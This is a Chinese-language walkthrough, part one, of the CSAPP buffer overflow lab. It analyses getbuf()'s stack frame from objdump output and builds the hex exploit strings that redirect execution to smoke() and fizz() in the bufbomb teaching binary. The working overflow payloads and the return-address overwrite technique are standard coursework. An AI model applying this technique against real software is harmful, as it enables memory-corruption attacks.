標籤:
CSAPP緩衝區溢位攻擊實驗(上)
下載實驗工具。最新的講義在這。
網上能找到的實驗材料有些舊了,有的地方跟最新的handout對不上。只是沒有關係,大體上僅僅是程式名(sendstring)或者參數名(bufbomb -t)的差異,不影響我們的實驗。
1.實驗工具1.1 makecookie
後面實驗中,五次“攻擊”中有四次都是使你的cookie出如今它原本不存在的位置,所以我們首先要為自己產生一個cookie。
實驗工具中的makecookie就是產生cookie用的。參數是你的名字:
[[email protected] bufbomb]$ file makecookie makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped[[email protected] bufbomb]$ chmod +x makecookie[[email protected] bufbomb]$ ./makecookie cdai0x5e5ee04e
1.2 bufbomb
bufbomb就是我們要“攻擊”的程式,我下載的實驗工具的這個版本號碼在運行時必須有-t這個參數,表示本人的名字:
[[email protected] bufbomb]$ ./bufbomb You must include a team name with -tUsage: ./bufbomb -t team [-n] [-s] [-h] -t team: Specify team name -n : Nitro mode -s : Submit solution via email -h : Print help information[[email protected] bufbomb]$ ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:I love 15-213Dud: getbuf returned 0x1Better luck next time[[email protected] bufbomb]$ ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:It is easier to love this class when you are a TAOuch!: You caused a segmentation fault!Better luck next time
1.3 sendstring
sendstring小工具(新版叫做hex2raw)能讀入我們的製作的string(十六進位)。將其發送到bufbomb的標準輸入資料流。避免每次都要在終端上手動輸入。cat管道或者直接重新導向兩種方式都行:
[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai[[email protected] bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai
2.熱身準備2.1 “漏洞”代碼
以下這一段看似“無辜”的小函數就是產生安全性漏洞的源頭了,而最根源的root cause就是Gets()函數沒有考慮buf緩衝區的大小。直接將使用者輸入的全部字元都儲存進去。假設使用者輸入過多的字元,就會導致棧上某些資料被覆蓋。從而造成了緩衝區溢位的危急:
int getbuf(){ char buf[12]; Gets(buf); return 1;}
2.2 緩衝區棧分析
在開始真正“攻擊”之前。我們先要分析一下bufbomb調用getbuf()時的棧是什麼樣子的。
僅僅有全面的瞭解了棧結構。後面實驗時我們才幹隨心所欲地“攻擊”它。
首先,通過objdump反組譯碼getbuf()函數:
[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0: 55 push %ebp 8048ad1: 89 e5 mov %esp,%ebp 8048ad3: 83 ec 28 sub $0x28,%esp 8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax 8048ad9: 89 04 24 mov %eax,(%esp) 8048adc: e8 df fe ff ff call 80489c0 <Gets> 8048ae1: c9 leave 8048ae2: b8 01 00 00 00 mov $0x1,%eax 8048ae7: c3 ret 8048ae8: 90 nop 8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
依據getbuf()的彙編代碼,如今分析一下運行時的棧結構是什麼樣子。基礎知識能夠看六星經典CSAPP-筆記(3)程式的機器級表示中的“7.運行時的代碼與棧”來高速溫習一下。這裡就不贅述了。
首先。未調用getbuf()之前。%ebp和%esp分別指向調用者test()的棧base地址和棧頂地址,此時棧世界還是一片“風平浪靜”:
…………………………………………….. 0x??
<- %ebp
…………………………………………….. 0x00 <- %esp
當test()運行到call 時。依據之前的學習。call指令和getbuf()的前兩條“慣用”指令會完畢這三件事兒:
依據這三條“慣例”,每一個函數的棧初始時都是一樣的:先是return address,然後是儲存的調用者的%ebp,當前的%ebp就指向這。而%esp依據分配空間的大小指向了“更低處”。
接下來就是分析getbuf()專屬的部分了。
開始進一步分析之前先確定兩個規則:1)%ebp指向的地址作為0x00(相對位址);2)中寄存器指向的橫線的上方是該地址上的資料。
- lea -0x18(%ebp),%eax:利用lea運行複雜運算,%eax = %ebp - 0x18 = 0x18
- mov %eax,(%esp):改動%esp指向位置的值作為Gets()的入參。%(esp) = -0x28位置的資料 = -0x18
- call 80489c0 :調用Gets()函數。
不考慮Gets()是怎樣利用入參-0x18改動buf數組,預設它會完畢這個工作。那麼getbuf()的棧在調用Gets()就是這個樣子:
…………………………………………….. 0x??
……………………………………………..
Return Address
…………………………………………….. 0x04
Saved %ebp
…………………………………………….. 0x00 <- %ebp
……………………………………………..
-0x18 (%eax)
…………………………………………….. -0x28 <- %esp (&arg0)
瞭解到這裡也就足夠了。以下就能夠進行實驗了。
溫習:call, leave, ret
call A:儲存%eip,調用函數
進一步回想:
push A:將A壓入棧,並改動棧頂指標%esp
- mov A, (%esp)
%esp += 4
jmp A:改動%eip。“跳到別處”繼續運行
mov A, %eip
2.3 GDB觀察
GDB是Linux下強大的調試工具。簡單使用說明例如以下:
- gdb :準備偵錯工具,等同於先gdb。再file 。
- b :為函數設定斷點。
b是break的縮寫。除了函數名。還能夠是地址、當前運行處的+/-位移等。
- run :開始運行程式。run後面能夠加程式須要的參數,就像在命令列正常運行時那樣。
- s/n/si/c/kill:s即step in,進入下一行代碼運行;n即step next。運行下一行代碼但不進入。si即step instruction。運行下一條彙編/CPU指令;c即continue,繼續運行直到下一個斷點處。kill終止調試。
- bt:bt是backtrace的縮寫。列印當前所在函數的堆棧路徑。
- info frame :描寫敘述選中的棧幀。
- info args:列印選中棧幀的參數。
- print :列印指定變數的值。
- list:列出相應的源碼。
- quit:退出gdb。
3.“攻擊”實驗3.1 Level 0: 蠟燭
實驗1是要改動getbuf()的返回地址。在運行完getbuf()後不是返回到原來的調用者test(),而是跳到一個叫做smoke()的函數裡。
而且不用操心我們會破壞棧的其它部分,由於反正smoke()運行後也是要終止程式,這也減少了難度。
void smoke(){ printf("Smoke!: You called smoke()\n"); validate(0); exit(0);}
於是思路非常easy。依照前面的棧結構分析,我們僅僅需構造一段字串讓Gets()全部複製到buf數組了,從而造成緩衝區溢位。同一時候最重要的一點是:將smoke()函數的初始地址也放到構造的字串內。使其恰好覆蓋到getbuf()的return address位置。
那麼第一步。我們先要知道smoke()的初始地址。
這非常easy。用objdump查看符號表或者.text都能找到:
[[email protected] bufbomb]$ objdump -t bufbomb bufbomb: file format elf32-i386SYMBOL TABLE:08048134 l d .interp 00000000 .interp ...08048f40 g F .text 0000002a bushandler08048eb0 g F .text 0000002a smoke00000000 F *UND* 00000017 [email protected]@GLIBC_2.00804a1d0 g O .bss 00000004 team ...
能夠清楚地看到smoke的初始地址是0x08048eb0,萬事俱備。如今就能夠構造“攻擊”字串了!既然題目都說了,破壞棧中的其它部分資料沒關係,那除了smoke的地址。其它我們都能夠“瞎寫”了。
buf第一個元素的地址是-0x18,而return address第一個位元組的地址是0x04,兩個位置的相差換算成換算成十進位就是0x04 - (-0x18) = 4 + 24 = 28。也就是說我們要構造28個字元,然後加上smoke()的地址就能準確覆蓋到return address了。為了便於計數,我按00到99的順序填充:
[[email protected] bufbomb]$ cat exploit.raw0011223344556677889900112233445566778899001122334455667708048eb0
出乎意料的是第一次運行卻失敗了,bufbomb提示segment fault,還以為前面分析都錯了。結果原因卻是我忘記了小尾端的事兒,直接將smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就會指向一個非法的記憶體位址了,當然就報段錯誤了。將地址調整成b0 8e 04 08後,果然成功了!
看到CMU對我說“NICE JOB!”熱淚盈眶啊!
[[email protected] bufbomb]$ cat exploit.raw00112233445566778899001122334455667788990011223344556677b08e0408[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Smoke!: You called smoke()NICE JOB!Sent validation information to grading server
3.2 Level 1: 煙火
實驗2與實驗1大同小異,都是讓getbuf()的調用者test()(不是getbuf())運行一個代碼裡未調用的函數。實驗2中是fizz()函數。但實驗2稍稍提高了難度。我們不僅要想法讓test()運行fizz(),還要傳入我們的cookie作為參數。讓fizz()列印出來才算成功。
void fizz(int val){ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0);}
第一步還是通過objdump -t查看符號表中fizz()函數的初始地址。拿到了地址0x08048e60,僅僅要用它替換掉之前exploit.raw中smoke()的地址就能讓getbuf()運行完畢後返回到fizz()中(注意不要再忘記小尾端位元組序)。也就通過緩衝區溢位造成了test()調用了fizz()的“假象”。
第二步非常easy,用makecookie產生我的username”cdai”的cookie是0x5e5ee04e,那麼如今的問題是怎樣正確設定fizz()的入參呢?之前我們著重溫習了call運行時被調用者要做的三件事兒,如今就溫習一下調用者要做的事兒。
重溫一下getbuf()的反組譯碼代碼,以getbuf()調用Gets()為例,看一下調用者的代碼和相應的棧:
[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0: 55 push %ebp 8048ad1: 89 e5 mov %esp,%ebp 8048ad3: 83 ec 28 sub $0x28,%esp 8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax 8048ad9: 89 04 24 mov %eax,(%esp) 8048adc: e8 df fe ff ff call 80489c0 <Gets> 8048ae1: c9 leave 8048ae2: b8 01 00 00 00 mov $0x1,%eax 8048ae7: c3 ret 8048ae8: 90 nop 8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi[[email protected] bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"08048e60 <fizz>: 8048e60: 55 push %ebp 8048e61: 89 e5 mov %esp,%ebp 8048e63: 83 ec 08 sub $0x8,%esp 8048e66: 8b 45 08 mov 0x8(%ebp),%eax ...
調用Gets()之前。getbuf()負責將參數壓入到棧上,參數位置是(%esp),即棧頂所指的位置。有了這個知識。我們就能夠為fizz()準備入參了。但要注意三點:
- 多個參數的順序問題:假如Gets()有兩個參數,參數在棧上的地址順序是:低地址(靠近棧頂)是第一個參數。高地址是第二個參數。
- 棧指標%ebp和%esp:當我們溢出緩衝區到getbuf()棧上的return address位置時,實際上破壞了棧上的其它資料。包含Saved %ebp。
這樣getbuf()運行return恢複%ebp時實際上是無法正常恢複到test()的位置了。注意:損壞的僅僅是%ebp。由於%esp是用%ebp還原的而不是在棧上儲存的(leave=mov %ebp, %esp; pop %ebp)但這都沒有關係。僅僅要開始運行fizz(),fizz()依照“慣例”會將事實上已“損壞”的%ebp再次儲存到棧上,並從完善的%esp處繼續運行。
- 別忘了return address:前面講過call指令在跳轉前會壓入%eip作為return address。
也就是說fizz()的%ebp(指向saved %ebp)和調用者準備好的入參之間是隔著return address的。
這時的棧看起來非常彆扭。這非常正常。由於正常情況下,getbuf()運行後應回到它的調用點,但由於我們有益破壞了它的棧,所以 getbuf()的return運行後卻馬上進入了還有一個函數fizz(),看起來也就不足為奇了。
…………………………………………………………………………….. 0x?
?
Data on caller’s stack => fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
Data on caller’s stack => fizz()’s return address: padding 00112233
…………………………………………………………………………….. 0x08
Return Address of getbuf() => fizz()’s entry point: 608e0408
…………………………………………………………………………….. 0x04
Saved %ebp => padding 44556677
…………………………………………………………………………….. 0x00 <- %ebp
Buf on getbuf()’s stack => padding 00~99 00~99 00~33
……………………………………………………………………………..
-0x18 (%eax)
…………………………………………………………………………….. -0x28 <- %esp (&arg0)
以下就是進入fizz()之後的樣子:依照調用者“慣例”和call指令,入參和返回地址(%eip)被壓入棧上。依照被調用者“慣例”,fizz將%ebp壓入棧後移動到%esp,並移動%esp分配棧空間。一切都“正常”的彷彿就是test()調用的fizz()!
從fizz()的反組譯碼結果也驗證了這一點。sub $0x8, %esp分配棧空間後。mov 0x8(%ebp), %eax將入參儲存到寄存器%eax中。對比以下的棧,%ebp隔著壓入棧的調用者的%ebp和返回地址8位元組,因此0x8(%ebp)恰好就是我們“攻擊”時放置的入參值。
…………………………………………………………………………….. 0x??
fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
fizz()’s return address: 00112233
…………………………………………………………………………….. 0x08
Saved %ebp: 44556677
…………………………………………………………………………….. 0x04 <- %ebp
…………………………………………………………………………….. 0x00
…………………………………………………………………………….. -0x08 <- %esp
[[email protected] bufbomb]$ cat exploit_level_1.raw 00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e[[email protected] bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Fizz!: You called fizz(0x5e5ee04e)NICE JOB!Sent validation information to grading server
CSAPP緩衝區溢位攻擊實驗(上)